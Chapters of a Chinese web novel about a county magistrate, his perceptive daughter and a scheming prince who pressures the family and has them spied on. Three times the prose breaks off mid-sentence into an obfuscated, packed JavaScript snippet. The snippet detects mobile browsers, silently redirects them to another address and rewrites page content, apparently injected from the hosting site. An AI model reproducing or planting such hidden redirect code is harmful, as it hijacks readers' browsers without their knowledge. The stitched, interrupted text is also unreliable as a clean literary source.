《被偏执王爷强取豪夺了》 1. 危局 东昌府，临清县。 早春尚有凉意，晨起时雨刚停，水珠叮叮咚咚从青瓦落下。 晨光斜落在少女身上，她着月白缎衫，沉香色的裙儿，戴一对白玉耳坠。正俯在案前，描摹窗外一簇新生的迎春花。 葱段似的纤纤玉指执一杆狼毫，闵仪怜在纸上勾勒，心不在焉地唤婢女，“天凉，再加一件衣裳。” 本想出门买书，因连日下雨，家中事多才搁置。 见小姐眉有郁色，梅川香知她在为老爷近日的事烦心，细声细语问：“奴婢马上去。厨房一早温了汤，小姐要喝吗？” “川香，你也用一碗，余下的叫她们分了。”闵仪怜声如翠珠，怜惜小婢昨晚陪她夜读，以至起来时还困得连连打盹，遂将笔置入湘竹笔筒。纸上墨色未干，正是一幅雨后窗景。 不必叮嘱，梅川香仔细将白玉笔洗、砚台等物收拾妥当，福了福身，扬起圆圆的小脸轻脚离去。主仆二人喝过暖汤，披上厚衣裳出门。 话说闵家前几代都是秀才，已不得了，这一脉的闵秀才娶到青梅竹马的妻子，先后生两个女儿。磨砺十余年，更是一举迈入进士之列，可谓光宗耀祖，春风得意。 闵家祖籍山西，后举家随他赴任山东。他先前是另一个贫县的知县，虽政绩卓然，却因不善经营人心平调临清。妻子家中经营着一家镖局，自其就任临清知县，颇有眼界的妻族又买下几条标船，年年沿着运河奔波，得了好物都先紧着这头，每年都专程派船送特产。 两姓亲热得如一家。 再说两个女儿，大小姐刚过二八，温和恬静，内敛机敏。二小姐总角之年，性情肖母，活泼憨直。 马车哒哒从官衙后巷拐出，闵仪怜掀起帘子一角，不觉已临近码头。 各地客商在此交易，巨大的漕船缀连成片靠泊歇息，雄健的汉子们只穿短衫，将货物一箱箱从船上卸下，准备运往各处市集。 周遭喧闹声渐浓，她一颗心却惴惴沉底。 父亲夜夜晚归，有时直接歇在县衙。整个临清乃至东昌府上下的官员全部忙到脚不沾地，皆因晋王将至。 临清漕运昌隆，汶水、卫水在此交渠，是会通河咽喉，北方大县。县中设砖厂、粮仓，丝绢行，与京师往来频繁。 尤其沿河处，屋舍鳞次栉比，各市相连，又有小巷交错纵横。绸缎、药材、生丝布匹，甚至辽东来的货物都在此交易。脚夫四处寻活计，娘子们脚蹬织布机吱吱作响，到处生机勃勃。另一方面，临清也承担着极重的赋税，以及即将成为北方推行新政的第一座县镇。 自四年前晋王回京，就与其兄庆王两虎相斗。 庆王素有诨名，却子凭母贵深得皇上宠爱，满朝文武皆认为他会被立作太子。至于晋王，不过是一个早被君父厌弃驱逐的人。 没想到一次因功入京，他竟被留下参与朝政议事。晋王儒雅，贤名远扬，皇上多番在朝臣面前大肆嘉奖，甚至赐下宅院留他久住。两年前，晋王奉旨与前左都御史家定下亲事，只待姑娘出孝期就完婚。左都御史文官清流，即便致仕多年，仍在朝中留有余威。 皇上态度暧昧，瞧着对不着调的庆王渐失耐心，越发关爱被冷落的另一个儿子。朝臣分出两派打得火热，甚至是烈火烹油，直接将这团天家的烈焰浇到各州府。 至多晋王娶妃，届时谁为太子，谁去就藩，纠缠多年的储位之争必有定论。 就在三个月前，晋王竟私下派人给父亲送来一副他苦寻多年，却求而不得的名家真迹。 堂堂王室，竟给一地七品知县送礼，隐存拉拢结交之意。父亲推辞不敢受，对方换礼仍送，大有一股不达目的不罢休的势头。来回拉扯数次，晋王突然没了动作。 父亲反倒日渐不安。 晋王恐怕是想借一回南方官场的飙风，利用父亲拉下知府，剑指其背后的庆王。 心中多思，她买到游记立刻打道回府。夹在两王之中，闵家稍有不慎就是粉身碎骨。 绝不能，让这位突至的贵人搅乱原本安宁的生活。 - 天地苍茫，运河之上，一艘官船远渡而来。 李桓负手而立，眺望河岸旁连绵不绝的青宅，身后只随一名穿石青长衫的长史。 他赞叹：“东昌的确好风光。只是不知人是否如同河中之水，心明澄澈，懂得变通。” 若不是皇兄多年放纵散漫，过于不成器，哪里会有他的机会。将他放逐到山西不闻不问，如今却在人前关怀备至，父皇就是要让皇兄心里生一根刺。 此去临清，他必会给皇兄送一份大礼。 公羊青雄佝偻着背，拱手道：“闵知县迂腐守旧，若不是有几分真才学，如何能入王爷的眼。自来临清，知府多番拉拢，此人亦避而不受，为此遭受多少刁难。他素来胆小，待那榆木脑袋想明白王爷美意，心里只怕要后悔。” 面色稍缓，李桓却不完全认可：“此人并不怯懦，相反颇有风骨，不愿沾染半分党争。他若学会左右逢源，岂会是一介岌岌无名的小官？” 在山西时他就听过闵守节此人，当真好名字。 其治下清明，仁义却不过慈，在家乡也很有名望。这次若其知趣，他不介意提拔闵守节，先在地方磨砺几年，再调入京师为官。 公羊先生虽有大才，到底不是做官员的料。 知府并其叔父，从东昌拿走多少钱粮到庆王府。几人臭味相投，腌臜事做得不少，但他手里的证据还不足以撼动对方。 故而，他选中了一个人。 官船停至码头，东昌府一应大小官员俱在下首。今日凉风自东来，吹散河面朦胧的雾气。 诸人仰面，只见甲板上站数名官员。被兵士拥在中间的为首者，其人穿大红纻丝袍，脚蹬皂靴，腰佩玉带，踱步下船，在知府面前站定。 步伐稳健，气度威仪，便是晋王。 闵守节立于知府身后，目不斜视，两手并拢做恭敬状。 往日当惯土皇帝的知府大人，此刻正肥手作揖，一俯身朝李桓行拜礼。因过于弯折，金带在腰上勾勒出一圈赘肉，补子上的云雁瞬间被撑得浑圆。 恰立在后面，闵守节猝然被挤，不觉倒退半步。两道锐利的视线若有似无从面上扫过，直至知府命令上前，他才再做一拜，眸色平寂地抬眼，请晋王及一众随行官员赴宴。 李桓微一颔首：“闵知县？本王在京师就听过你的贤名，当年殿试父皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058251|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也夸你有一手好字。去岁上的请功折子，略听一耳朵，东昌有你这般人物，是百姓之福。” 知府仍旧低着头，面上笑容微僵，暗自将牙齿咬得发酸。去岁那道折子他可是居首位，先将自己狠狠夸赞一遍，末尾再自谦几句，其余诸人只是顺带提过名字，以彰显他对下属的大度。 晋王说话如此直白，是在明讽他抢功？若不是在京师的叔父特地写信要他安分行事，不要让晋王抓到把柄，令庆王殿下为难。否则，谁要与其卑躬屈膝。 “王爷慧眼。闵知县是显顺十三年的二甲进士，赴任临清已三年有余。有他这般得力的下属，下官倍感宽慰。此次筹备宴席与挑选王爷下榻的府宅，皆是由闵知县亲力亲为呐。” 交叠双手，闵守节恭顺在旁听候，只道一句“下官愧不敢受”，依命备来车马为一行人接风洗尘。 李桓面容端寂，提摆踏上马车。粗糙的指腹按在眉心，他闭目养神，周遭一片阒静，忽而久违地想起杨皇后，那位抚养过他的女人。到头来，却连最后一面也未能见上。 闵守节为众人备下的府宅，正在县衙后街。 李桓居主位，知府陪坐。 巧的是，闵守节却越过知府的一众属官，被他特意安排到另一侧。席间推杯换盏，言笑晏晏，李桓温煦，诸僚渐也少几分拘束。 闵守节并不是一个十分能喝酒的，强忍饮过几杯，登时满脸通红。只盼这场宴席能让那位消火，让百姓头上的重税能稍稍减轻。 至于女儿先前猜想，合伙踢掉他的上峰…… 三年共事，知府为人各自心中都有数。能将其下狱，定是大快人心。临清眼见繁华，日后啊，愿百姓盼来的都是好日子。 怎料，席间那位青衫长史突然将他叫了去，令他明早登府拜见。 宴席结束，他轻声叹息，还是躲不掉招揽。今日刚下船，晋王与知府夹枪带棒打了来回，话里话外拿他做枪头，一副无所顾忌的做派。 还是与女儿商量一番更稳妥。 - 主院已收拾妥当，李桓通身酒气，微微后仰靠在黄花梨透雕靠圈椅上。余光瞥见公羊青雄进来，随意摆手：“方才席上那小儿留下两个人，遣回去。” 人？ 公羊青雄立时明白，东昌知府贪图好颜色，府上供养各色舞姬，时常当作人情送出。对方更非挑衅，只是想借此与王爷缓和一二。 却拍在马腿上，可见并不了解他家王爷。 他是王爷在山西收的幕僚，虽为心腹，当年的旧事主子却不愿谈及。 他凭门路探知到零星碎片。 王爷被贬前一夜，恰逢先皇后暴毙，又有传言说当夜王爷与先皇后的一名婢女厮混，气得皇上吐血昏厥，醒来立刻将儿子逐出京师。其中种种细节，非同寻常。 多年来王府的后院还空着，王爷不是没起过纳美的念头，只是最后都不了了之，这对争储毫无利处。待明年正妃入府，一切就都明朗了。 至于这位闵知县，王爷势必要收作心腹。想躲，又能躲到哪里去。随手召来一名暗卫，他叮嘱：“即刻潜去闵宅，将知县的言行都记下来。” 往后安宁的日子，只怕没有了。 2. 狡兔 午睡刚起，接过梅川香递来的帕子，闵仪怜擦拭小妹濡湿的鬓角。长长伸一个懒腰，闵慈音则捻起碟中糕饼吃下一大口，转头唤小婢取羊奶。 将手臂搭在小案上，闵仪怜捧起游记翻看。 一口气豪饮，闵慈音扭进姐姐怀中，将脑袋一枕。只觉幽香扑鼻，把玩她腰间的香囊，又闻了闻自己的，撒娇：“姐姐，念出来，让我也听听。” 重新翻到前面，闵仪怜一字一句缓声念着。每翻过一页，就将自己的理解加入其中。至口干舌燥，便取茶盏呷一口。 “简直就是个无趣的老学究嘛，若不是姐姐打碎再讲给我，我连一页儿都不想翻。反倒是每篇最后的小故事，那才叫离奇曲折。” 放下奶碗，闵慈音倾身，点着页角念出来。 话说金陵有一名叫芳儿的妓女，被小官包了。小官手头拮据，家中全靠妻子嫁妆贴补，于是将怨气尽数宣泄在芳儿身上，总用角先生折磨她，事后偏还要用镀银的破簪子卖弄讨巧。芳儿自恃姿容艳丽，眼见姐妹们穿金戴银，心里委屈又妒恨，誓要争做人上人，暗自另接一位出手阔绰的恩客。却不料那人乃是一名亡命之徒，竟掳了芳儿以及积攒多年的钱银，想要将她卖到外地。 漆黑的夜里，芳儿奋力挣扎，侥幸砸中歹人的头。歹人恼怒之下当即要一刀刺入芳儿心口！说时迟那时快，她及时翻身，所幸最后只被刺中腹部。生死之际，竟有一游魂相助，芳儿绝地反击，反倒推歹人下河，眼看其人挣扎沉底，最后胡乱抓起一把草碾碎敷在伤处，仓皇逃离。 峰回路转，后来芳儿用早从歹人身上抓到的钱赎身，开了一间胭脂铺。日子渐好，又收养一双乖巧儿女在膝下孝敬，得以安享晚年。 “你倒说说，为何每篇末都有一则故事？”闵仪怜饶有兴致地问。 闵慈音大眼睛一转，侃侃道：“小官靠妻族嫁妆又去勾栏子里嫖，实在令人不齿，合该丢掉职位才好，而他老婆应多为自己打算，攒住首饰做门生意。一味等待男人浪子回头撑起家业，再做他背后的贤妻绝不可取。芳儿沦落风尘很可怜，这非她一人的过失，她有手段有野心更不是错，也该挨那一刀，最后有一个好结局。里面提起的所谓杂草，确有凝血提气之效，巧妙地将药理融入其中。至于鬼魂，恐怕是芳儿神志不清产生幻觉，故意这样写，反倒增添几分趣味。” “我方才还翻了后面几则故事，不仅描述得绘声绘色、如临其境，还涵盖了药材、菜谱、丧葬婚嫁，甚至风水，隐隐又有著书者自己的想法。” 末了，她又补充：“这实在不像同一人所著。若他以小故事的文风写几册怪诞话本，定然大卖。” 闵仪怜含笑：“灵璧先生祖籍四川，早年做过刑科给事中，有阅历又严肃，辞官后游历各地。至于这些故事，是他的女儿收集编入的。” 闵慈音赞叹几句，她实则不喜读书，除去父亲要求的，又强逼自己通读过几本，不至于让人以为二小姐是个蠢货，出门交际被人耻笑，落了家里的颜面。平日若看书只看志怪话本，其实她更喜欢看账本，若能像舅舅们一般沿着大江大路走四方，去见识游记中的大好河山，才不枉此生。 心里想得美滋滋，她嘴上便直接说出来：“姐姐，待以后爹致仕归乡，娘也歇了心思，我来做生意供你出游，你也写一本游记。哦，姐姐还喜欢画狸奴、小狗，画花草、小鸟，画得和真的一样。我出钱聘名家介绍给友人，先将你的名声炒起来。一呼百应下，行商文人看到你的画技，肯定挤破头来买，你我就都能赚钱养爹娘了。” 听着小妹的过分吹嘘，闵仪怜扑哧一声掩唇笑了，屋内的婢女仆妇才跟着笑成一团。用绢帕擦掉小妹嘴角的奶渍，环住那小人儿，她哄道：“我的好妹妹，那就快些长大吧。这次外祖过来，你缠着他老人家好好学一学。” 闲话间，姚凝挑帘进门。方才她在院外树荫下练棍术活络筋骨，忽听屋内笑声阵阵，心里好奇又解了春乏。于是探在窗口瞧了会儿，还是忍不住，索性收式进屋。 仔细净手后，先吩咐仆妇将熬好的桔汤送去书室。她坐在床沿，笑问：“我的儿，娘这会儿恰要算上月的账目。开春了，还要收拾库房。你且过来？” 闵慈音一听，立马乖顺地挪过去，盘腿坐在姚凝身边。学着姐姐平日的模样将背挺得笔直，一副听母亲教诲的姿态。 恰院外有小厮来请，将游记交给梅川香，闵仪怜起身：“娘，我先去寻爹。” 望着女儿挑帘出去的背影，姚凝忽而感叹：“长大了。” 穿过小花园，跨过一道方形门，闵仪怜步入前院。父亲的书室雅致，门前有一池羞涩的红锦鲤，听见她的脚步，都偷躲在石缝下呢。推门而入，闵守节坐在黄花梨四出头官帽椅上，光线透过窗棂照进来，他面有倦色，沾染酒气，后仰闭着眼歇息。 她坐在对面，轻声唤：“爹？” 掀起眼皮，闵守节迷糊问：“怜姐儿来了，为父吃醉酒，方才小憩了一会儿。”他理理袖袍，坐起身苦笑，“晋王的确不肯罢休，明日一早，我需去府上拜见。” 女儿虽然年岁小，却有几分揣摩人心的本领。先前他不过提一嘴，女儿又主动向他询问来往细节，就试着摸索晋王性情。前日还提醒他事涉争储，陷入太深恐怕会得罪庆王。此次宴席他暗地瞧着，晋王的确有意拿知府开刀。 有时京师来的信，他也会拆开给女儿看，在自家书室说几句也无妨。将今日晋王以及青衫老者每句话都重复说过，他才一口气将汤饮尽。 闵仪怜下了结论：“爹。不论收不收晋王的礼，这一次都避不开。” 晋王权势滔天，你不识抬举，自有人争着抢着效犬马之劳。届时莫说庆王，晋王甚至他身边的小鬼就要先让你挪挪位置，也许脑袋也会搬家。 闵守节何尝不知晋王意图。皇储之争向来残酷，能安然在山西住多年的人，又岂会简单。 他今年已三十又七，宦海浮沉六年，竟倍感疲乏。当年初成进士，只觉族中多年栽培与自己的苦读没有白费，能让祖父母与双亲在地下安心，妻女也成为官眷，所有人都很满意。欣喜褪去，自己究竟想要什么一时却说不清，此次被晋王迫着站队，又一次生出辞官回乡的念头。 他实在不愿陷入党争，却清醒地明白，独身一人在官场如同无根的浮萍。况且，他身后还有闵氏族人，巴巴等他一路高升。 看着父亲紧皱的面容，闵仪怜心中亦是心疼与忧虑纷杂。苦涩的茶水在口里荡开，放下瓷杯，她肃声问：“爹，就算眼下能辞官或者调任，您觉得晋王会怎么想？” 这段日子父亲搜罗到不少晋王的消息，不必快马去京师，即便在东昌，两王争储也是茶楼巷尾编成戏曲隐晦热议的大事。 晋王李桓，其生母陈氏本是皇上的教习宫女，初册贵人，后封淑妃。外界传闻他们母慈子孝，晋王常入宫侍奉汤药，弥补多年不得相见的遗憾。淑妃对此感动非常，那戏文里唱的是伏在床头痛声大哭。甚至说为讨母亲欢心，晋王每年都要亲自从各地搜罗珍奇进献。 若当真母慈子孝，岂会如此刻意，人人皆知。俗话说“越没有就越在意”，对比庆王与其母贵妃的日常实在虚浮。 不过这也只是她的推测，不能全然当真。 “一个不被生母关爱，年少起就在刀枪冷剑中度过的皇子，心性只能凉薄。”抬眸凝视父亲神色，闵仪怜再分析，“晋王被放逐到山西的理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058252|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由，是开发矿脉。然他一直被圈禁在府中，根本无法完成旨意，就永远不能回来。” 这简直是一个父亲对儿子的羞辱。 “近十年的时间，他能收服手下的人，在严苛的条件下完成皇命并立下三次大功，可谓雄才。消息传回京师，朝臣本就对荒诞成性的庆王不满，偏又有一股风刮起来请皇三子回京。他回去的第一件事是上折改革官员考核；第二件是解决边军军饷；而第三件必然就是新政，何其大胆。短短四年，此人能杀得庆王府属官及一众幕僚惶惶不可终日，属意庆王的朝臣开始摇摆，令其无人可用，逼得皇上不得不下场在中间维|稳。” “他心中，有刻骨的恨。” 说及此处，闵仪怜神色微忌，又问：“爹，您还记得他唯一一次输给庆王吗？” 闵守节猛地合眼，长吸一口气，久久才答：“那一局因属官的一个纰漏，晋王被捏住七寸。先前为他斗倒庆王两员猛将的属官自己站出来，最后在狱中羞愧自尽。” 在晋王身边，自身没有过足的才能，出事只能被推出去，主子爷根本不屑救。闵守节知自己性格的缺陷，自问没有强硬的手腕与魄力，能陪主君走到最后。得罪过晋王的朝臣，有哪一个落得了好，偏其最后还要占尽名望。 “先前爹婉拒他的招揽，已是挂了名。此次非但不主动助他，还想辞官避祸，他若知晓必定生怒。女儿怕会引来报复。” 直到此刻，闵守节才打消不如归乡的奢望。起码，不能是现在，那么拉下知府后又当如何，若帮晋王必定得罪庆王，届时不寻求晋王庇护，他全家照样没有活路。 官场最忌站两头。 吃一口茶，闵仪怜抬起一双剪水眸问：“爹，这个时候您反而糊涂了？明早只需如同往日行事，不必刻意迎合揣摩他的心思。少说多做，是为最佳。” 闵守节微怔，旋即久违地露出畅笑，一拍掌朗声说：“我的怜姐儿，真是爹的好女儿！的确是爹将自己绕进去了。” 晋王想招揽他，无非有两条缘由。 一是他的知县身份，能助对东昌并不熟悉的晋王尽快搜寻到知府罪证；二是他过往政绩引得对方青眼，若此次差事办得好，便能在晋王的扶持下高升。 可他最大的缺点就是不善交际。 一旦与晋王长时间共事，对方就会发现他并不如传闻中的得用，会犹豫是否要招揽他。 至于拉下上峰，他为何不能让知府自己暴露罪证？届时不仅遂晋王的意，除掉这条鱼肉百姓的蛀虫，且他在表面没有出任何力，之后再板板正正推行政令，既不出挑又不会惹晋王生怒。 而庆王方，只要不是跳到面前，贵人根本不会注意到一介小人物。届时就能从二王的争斗中脱困，保下全家性命。 这么一想，闵守节胸中顿时开阔，不觉灌下一大口凉透的茶水。 看着面前的长女，他忽而又心生愧疚。 怜姐儿幼时，曾跟随岳父一家遍游四方。她一直盼望着，能将每地的风俗与景色编成图册游记，供人传阅。可自当上知县，却是妻女在官场助益他更多，他忙于公务，不能如从前带家人外出游乐。 一年之中少有休沐的时候，哪怕一家人去郊外踏春，竟也成了奢望。起身望向窗外，近日有位老友欲携子看望他，女儿正值好年华，有些事做爹娘的也该留意。 “怜姐儿，此次岳父搬来，不如你同妹妹去住半载。爹总陪伴你们太少，同龄的孩子们在一起，才更乐得自在。” 闵仪怜点头：“待爹的事忙完，我们全家一同去拜见外祖父。”敲对许久，她暂时松了口气。 父女二人浑不知，暗卫已将一切听在耳中，擦过屋檐飞掠遁出宅院。 3. 恶狼 翌日，天光微暗。 公羊青雄引路，闵守节行至前院，停在门外叩门三声，内里只道：“进。” 做出一个“请”的手势，公羊青雄依旧挂笑。闵守节作揖回礼，踏步跨入其中。 李桓坐在椅内，透过窗格注视一只留在嫩枝上的雀鸟。他气韵儒雅，面目疏朗，即便穿浅青直裰，也难掩天潢贵胄的气度。 “闵知县，坐下陪本王喝一杯茶。” 闵守节再拜，在旁的玫瑰椅上坐了。执玉杯浅尝一口，恭声道：“下官已将临清近些年的户籍与土地税收等记录寻来，编制成一份禀帖呈给王爷。” 仿若才想起此事，李桓将其置于桌上向前一推，“昨夜粗略看过，本王毕竟对临清本地事务不熟悉。闵知县，你就在此讲解一遍。” 闵守节起身将一应帖册捧在掌心，余光一扫，才又坐下一页页讲解。 微微倾身，李桓冷戾的眸光在对方身上反复逡巡。确是干才，虽木讷些，一旦沉浸在公务上，整个人仿若活过来。条理清明，言辞间就连对他的畏惧也淡几分。 可这个人却又过分成规守旧，不知变通，若真在他手下做事，还要替其打点与同僚的关系。一旦行差踏错连累王府，岂不是又要重蹈覆辙？ 也罢，日后有公羊先生在侧提点，再看看便是。 若论圆滑，谁又能及如今在南方搅弄风云的那人。可惜此般奇才，是父皇预备留给皇兄的。 李桓面色略沉，待对面止声，缓声问：“闵知县，可会骑马？” 闵守节垂首：“尚能。” 李桓站起，一言不发地稳步朝外走，闵守节立刻跟在后。二人并一队护从驾马向城外田郊而去，临近时又下马步行。 今日诸人未穿官服，而是扮作商贾，终日困于田间劳作的农家，哪里会人人识得县太爷。临清亦是产棉大县，地头已有百姓翻土剖草准备种棉。 还未从疾驰中回神，闵守节虚白着脸与李桓一问一答。 李桓冷眼瞧着，其似乎与跟在队伍最后的县丞有龃龉，县衙中许多事都是知县亲力亲为，看来二人不睦已久。 命诸人等候，他与闵守节前后走在小道上。 偶尔停留，闵守节俯身捧起一抔土，遥望四野，眉心微蹙。 民生多艰，临清富饶，多有官员富商以各种手段强夺百姓田地，再迫使其卖儿卖女成为佃户。而今的情形，早已与鱼鳞图册记载大不相同。 即便是他，也多有无奈之处。 望着前方晋王的背影，他只觉不论此人为何而来，却十分有推行政令的决心。 如此，已足够。 李桓忽然问：“数月前，本王欲赠闵知县一幅草书真迹，你何故不收？” 心里登时一个咯噔，闵守节温吞吞站起身，垂手朝前走过几步。那股视线又落回身上，他竟想起昨日女儿对晋王的剖析。 不可谓不精准。 晋王似狼，对于猎物咬住绝不松口。第一次送礼就单刀直入，甚至不稀掩盖目的，因为在这位贵人眼中，七品小官没胆量另投他人，将此事四处宣扬。耍弄任何心机手段，在他面前就像戏台上的丑角，只会引人发笑。 闵守节谨慎开口：“下官是……不敢收。” 微讶他的直白赤诚，李桓复又迈步，语调平平：“不过一副字，难不成闵知县是忧心与亲王结交，丢掉头上这顶官帽？皇兄尚且以赏玩古字画为由，大宴宾客无所顾忌。怎么本王送一件礼，就叫你吓破了胆？” 未待闵守节请罪，他语气骤然一松，不甚在意地说：“也罢。其实本王对古画更感兴趣，尤其前代毛公的真迹，实在一画难求。哪日若得了宝，闵知县不必递帖子，可直接到府上与本王探讨。本王的幕僚公羊青雄，在鉴赏古董古画上颇有见地，是个十全的妙人。便是昨日吃酒时，你见过的那位。” 闵守节连连称是，待从城外回来已日头灼人。 李桓跨坐马背，转头瞧一眼晕头转向，几乎把胆汁呕出去却还强忍着的闵守节，翻身下马。命人将爱马牵到后院，朝府门走几步，他忽又一扭头喊：“闵知县。” 闵守节脚步虚浮，汗渍迷眼，立刻上前躬身：“下官听候。” 抬眼瞧眼天色，李桓叮嘱：“本王未时去县衙。”他本欲入府暂歇，又回头上下打量闵守节，竟问，“今日这套衣裳，是你自己备的？” 闵守节心有疑惑，面上却不表露，没有将女儿说出，只依言回答：“是内眷。” 李桓这才想起，之前调查闵守节时，公羊先生提过其妻族是商贾世家。商人之家素来心思灵敏，做了进士之妻必定更会钻营。 想必这么多年，都是其妻在后打理。否则依闵守节这性子，应早被同僚排挤甚至构陷，哪里还能做临清的知县。 虽有明文规定平民、官宦与皇族在衣制上的不同，但此规早就形同虚设。今日诸人扮作商人，连他几个亲卫都依制着装，不敢过分僭越，闵守节却敢在他眼皮下穿锦衣华服，别金腰带，十足像个巨富。 这才像商人。 如今倒不“守节依制”了，一问果然不是闵守节自己的主意。李桓不禁摇头，大步跨入府门。 一路行至内院，早有护从候在厅堂，为他换衣备茶。坐在案前，李桓正准备命人取过卷轴，以备晚些去县衙用。 公羊青雄恰从外进来，微一俯身：“王爷。” 看到其捧在掌中的密信，李桓才想起昨日派暗卫潜入闵府监视。他一度忙到深夜，这封信便没能在晨时呈送到案前。 接过信，他拆开一行一行细看。 公羊青雄本垂首躬身等李桓唤他，对方却久久没有动静。他不觉抬眼，就见王爷依旧在看信，面上神色如常，指腹却紧紧扣在玉戒上。 莫不是闵守节背地里谤议王爷，才惹得他如此动怒？ “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058253|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生，你也看罢。”李桓音调沉缓，将信递近。 公羊青雄双手接过，一目十行地读完。眉头紧蹙，又仔细确认一遍，才将信拢回袖中。小胡须一抽，无谓答：“王爷，不过是一深闺小女子的胡言乱语，读几本圣贤书就自以为是，根本不值得在意。闵守节当真离经叛道，竟叫女儿随意出入书房大肆探讨朝事，更荒唐的是，他竟听之信之这些胡话。既然他自认能在王爷面前卖弄，待东昌的事了结，不如将他打发到西北去，待足十年。既全王爷惜才之心留一条性命，又叫他有闲日想清楚，自己究竟做下什么蠢事。” 一番话说完，忽听一声轻嗤。 李桓将两臂搭在扶手上，后仰靠住椅背，笑了。 公羊青雄愣住，此刻竟揣摩不出王爷的心思。便识趣地闭上嘴，心里却暗自松一口气。良久，他终于听到了上座的吩咐。 “本王爱才，先生自然也心有不忍。派人到县衙去一趟，告诉他未时不必候着。既然身体不适就好生歇息，三日后再来，毕竟临清可离不得他。” 公羊青雄向来极有眼色，心里明白王爷这是不肯罢休。原以为闵守节迟钝迂腐，没想到倒有几分心机与气节，搞这么一出，王爷反而有心将其拉入麾下。若闵守节能主动登台状告知府，进入朝野视线，既向庆王一党表明态度，彻底绝了自己的后路，又能有漂亮的政绩以便王爷为他请功，这件事或许还能一笔勾销。 倘若闵守节还依照计划行事，准备学南边那位藏在后面搅弄风云，不想惹是非，甚至事后还想着辞官，于王爷来说就是不肯成为晋王府的人，可谓狠狠扇他一记耳光。 依王爷以往行事，必定秋后算账。届时这闵知县，只怕是…… 能让王爷走到哪里都将自己带着，揣摩主子爷心意的本事，死去的同僚都比不上他。 至于那位闵小姐，想来王爷不会特地与一个闺阁女子计较。 留下信，公羊青雄躬身后退。直到跨过院门，嗅着正午微暖的风，才觉凉意退去。瞥见那名暗卫还立在门外，正小心翼翼地等待主子的指令。 他好心提醒：“王爷现在心里气儿正不顺呢，你过去少不得要挨一顿训斥，再一个答不对，什么结果你清楚。不必进去问，这事儿听我的，什么时候王爷听烦了，你就不必趴人墙头。就像昨日，要一字一句，最好屋内人什么神情都仔细记录。切记就在书房，莫要往别处去。” 暗卫略一思忖，很是信重公羊青雄。毕竟这位可是王爷落魄时就跟在他身边的，那就如同王爷肚里的蛔虫，就是王爷的嘴。天机岂是他们这些地里的泥虫能参透的？ 他感激拱手，快步往外去。心里决定除去上茅房，要日日夜夜监控闵家的言行。 屋内，李桓捻起信件一角，重新细读。他记得闵守节只得两个女儿，小女儿不过稚童，那这怜姐儿就是他的长女。 心性凉薄，刻骨之恨。 好得很。 4. 相见 大清早，闵家四口围坐桌前用饭。 一碟摊鸡蛋，一碟火熏肉，一碟白面蒸饼，两样爽口小拌菜，一大碗菜汤并一小盒粽子。 庭内并无婢从，虽从小衣食无忧，闵守节与姚凝却不喜用饭时有人在侧。遂除摆盘收碟，旁的时候就将家里其余人打发到厨房吃饭，只留三两个在院外听差。待饭毕，再让人近前收拾。 恰逢端午，闵守节能休息半日。在家中戴方巾，穿行衣，打算饭后带家人沿河走一走。晌午后还有的忙。 闵仪怜拿起粽子剥开，依次放入三人碟中，才给自己也剥一个。软糯的米香并叶香在口内绽放，蒸得软烂的甜枣黏滋滋糊住口齿。 多食一粽，她有些撑，放下筷箸不再吃了。招招手，立时有小丫鬟端着铜盆近前，净手漱口后仍坐着。 今日闵仪怜云鬓上戴两根金嵌玉翠簪，颈挂领坠，对襟衫上罩藕色缠枝花卉纹比甲，下穿白色锻地花鸟马面裙。 闵慈音簪珍珠小钗，着嫩绿色的薄衫，下穿璎珞纹织金马面裙，腰上挂一个翠玉坠儿，脖套璎珞。吃罢，她忽然哒哒跑到院中，折了三朵红石榴回来。先插在母亲头上，上下欣赏一番，称赞：“娘，好看。” 含笑瞧小女儿一眼，面向相公与大女儿，姚凝大方问：“如何？” 闵守节先仔细瞧了，才郑重点头：“美。娘子从来都是美的。” 微一颔首，闵仪怜眉眼温和，由小妹将花插入发间。扶了扶鬓，她注视小妹一对乌黑的眼仁，也将最后一朵花缀在其珍珠旁。 闲话片刻，她同父亲一道折去书室，打算寻本书，闲来无事时翻看。闵守节推门入内，站在书格前挑选，忽而久违地提起晋王。 他抖抖袖摆，细密的短胡须随唇轻抿而抽动，望一眼窗外天光，只觉拨开云雾，春风缠绵。面向女儿时更添欢跃：“为父与王爷共事月余，渐发觉他虽心性无常，行事却极果决，就是知府在他面前也难讨得到好。日子一久，也琢磨出几分相处的门道。” 晋王亦不似初时心里似窝着火，总要磋磨他，看他狼狈。夜里归家前有时还会提点一二，态度甚是和煦，确有贤王姿态。 